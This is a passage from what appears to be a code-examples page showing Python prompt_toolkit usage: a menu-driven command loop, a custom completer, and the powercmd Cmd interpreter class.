            bottom_toolbar=bottom_toolbar,
            auto_suggest=AutoSuggestFromHistory(),
            enable_history_search=True,
            # rprompt=get_rprompt,
            # style=rprompt_style
        )

        self.contexts = [
            Listeners(self.prompt_session),
            Sessions(self.prompt_session),
            Modules(self.prompt_session),
            Stagers(self.prompt_session)
        ]

        self.prompt_session.completer = WordCompleter([ctx.name for ctx in self.contexts] + ['exit'], ignore_case=True)
        self.prompt_session.contexts = self.contexts

        self.current_context = self

    def switched_context(self, result):
        for ctx in self.contexts:
            if result == ctx.name:
                self.prompt_session.message = ctx.prompt
                self.prompt_session.completer = ctx.completer
                self.current_context = ctx
                return True
        return False

    def parse_result(self, result):
        if len(result):
            if not self.switched_context(result):
                command = split(result)
                try:
                    logging.debug(f"command: {command[0]} args: {command[1:]} ctx: {self.current_context.name}")

                    bound_cmd_handler = functools.partial(getattr(self.current_context, command[0]), args=command[1:])
                    run_in_terminal(bound_cmd_handler)
                except AttributeError:
                    print_bad(f"Unknown command '{command[0]}'")
                    if args['--debug']:
                        traceback.print_exc()
                except DocoptExit as e:
                    print(str(e))
                except SystemExit:
                    pass

    def run_resource_file(self):
        with open(args['--resource-file']) as resource_file:
            for cmd in resource_file:
                result = self.prompt_session.prompt(accept_default=True, default=cmd.strip())
                self.parse_result(result)

    def __call__(self):
        if args['--resource-file']:
            self.run_resource_file()

        while True:
            result = self.prompt_session.prompt()
            if result == 'exit':
                break
            elif result == 'help':
                table_data = [
                    ["Command", "Description"]
                ]

                try:
                    for cmd in self.current_context._cmd_registry:
                        table_data.append([cmd, getattr(self.current_context, cmd).__doc__.split('\n', 2)[1].strip()])

                    for menu in self.contexts:
                        if menu.name != self.current_context.name:
                            table_data.append([menu.name, menu.description])
                except AttributeError:
                    for menu in self.contexts:
                        table_data.append([menu.name, menu.description])

                table = AsciiTable(table_data)
                print(table.table)
                continue

            self.parse_result(result)
예제 #39
0
)

# actually, create a custom completion is good.

class MyCustomCompleter(Completer):

    def get_completions(self, document, complete_event):
        length = len(document.text)
        yield Completion('completion1', start_position=-length,
                        style='bg:ansiyellow fg:ansiblack')

        yield Completion('completion2', start_position=-length,
                        style='bg:ansiyellow fg:ansiwhite')


if __name__ == "__main__":
    session = PromptSession(history=FileHistory('~/.myhistory'))
    while True:
        try:

            content = session.prompt(">", completer=MyCustomCompleter(), complete_while_typing=True)
        except KeyboardInterrupt:
            continue
        except EOFError:
            break
        else:
            print(f"You entered: {content}")

    print("exit..")

예제 #40
0
파일: cmd.py 프로젝트: dextero/powercmd
class Cmd:
    """
    A simple framework for writing typesafe line-oriented command interpreters.
    """
    def __init__(self, history: History = None):
        self._last_exception = None
        self._session = PromptSession(history=history)

        self.prompt = '> '
        self.prompt_style = Style.from_dict({'': 'bold'})

    # pylint: disable=no-self-use
    def get_command_prefixes(self):
        """
        Returns a mapping {method_command_prefix -> input_string_prefix}.
        input_string_prefix is a prefix of a command typed in the command line,
        method_command_prefix is the prefix for a matching command.

        If this function returns {'do_': ''}, then all methods whose names start
        with 'do_' will be available as commands with the same names, i.e.
        typing 'foo' will execute 'do_foo'.
        If it returned {'do_', '!'}, then one has to type '!foo' in order to
        execute 'do_foo'.
        """
        return {'do_': ''}

    def do_get_error(self):
        """
        Displays an exception thrown by last command.
        """
        if self._last_exception is None:
            print('no errors')
        else:
            traceback.print_exception(*self._last_exception)

    def do_exit(self):
        """Terminates the command loop."""
        print('exiting')
        return True

    # pylint: disable=invalid-name
    def do_EOF(self):
        """Terminates the command loop."""
        print('')
        return self.do_exit()

    # pylint: disable=arguments-differ
    def do_help(self,
                topic: str = ''):
        """
        Displays a description of given command or lists all available commands.
        """
        cmds = self._get_all_commands()

        if not topic:
            print('available commands: %s' % (' '.join(sorted(cmds)),))
            return

        try:
            handler = cmds.choose(topic, verbose=True)
            print(handler.help)
        except InvalidInput:
            print('no such command: %s' % (topic,))
            print('available commands: %s' % (' '.join(sorted(cmds)),))

    def _get_all_commands(self) -> CommandsDict:
        """Returns all defined commands."""
        import types

        def unbind(f):
            """
            Returns the base function if the argument is a bound one.

            https://bugs.python.org/msg166144
            """
            if not callable(f):
                raise TypeError('%s is not callable' % (repr(f),))

            self = getattr(f, '__self__', None)
            if (self is not None
                    and not isinstance(self, types.ModuleType)
                    and not isinstance(self, type)):
                if hasattr(f, '__func__'):
                    return f.__func__
                return getattr(type(f.__self__), f.__name__)

            return f

        members = inspect.getmembers(self)
        prefixes = self.get_command_prefixes()
        commands = CommandsDict()

        for name, handler in members:
            if not callable(handler):
                continue
            for prefix, substitution in prefixes.items():
                if name.startswith(prefix):
                    assert substitution + name not in commands
                    cmd_name = substitution + name[len(prefix):]
                    commands[cmd_name] = Command(name=cmd_name, handler=unbind(handler))

        return commands

    def emptyline(self):
        """
        Method called whenever the user enters an empty line.
        """

    def default(self, cmdline):
        """
        Interprets CMDLINE as a command and executes it.
        """
        try:
            if not cmdline:
                return self.emptyline()

            invoker = CommandInvoker(self._get_all_commands())
            return invoker.invoke(self, cmdline=CommandLine(cmdline))
        # it's a bit too ruthless to terminate on every single broken command
        # pylint: disable=broad-except
        except Exception as e:
            self._last_exception = sys.exc_info()
            print('%s (try "get_error" for details)' % e)
        else:
            self._last_exception = None

    def onecmd(self, cmdline):
        """
        Interprets CMDLINE as a command and executes it.
        """
        return self.default(cmdline)

    def cmdloop(self):
        """
        Interprets commands read from stdin until a shutdown is requested or
        EOF encountered.
        """
        completer = Completer(self._get_all_commands())
        try:
            while True:
                if os.isatty(sys.stdin.fileno()):
                    with patch_stdout():
                        cmd = self._session.prompt(self.prompt, completer=completer, style=self.prompt_style)
                else:
                    cmd = input(self.prompt)

                self.onecmd(cmd)
        except EOFError:
            pass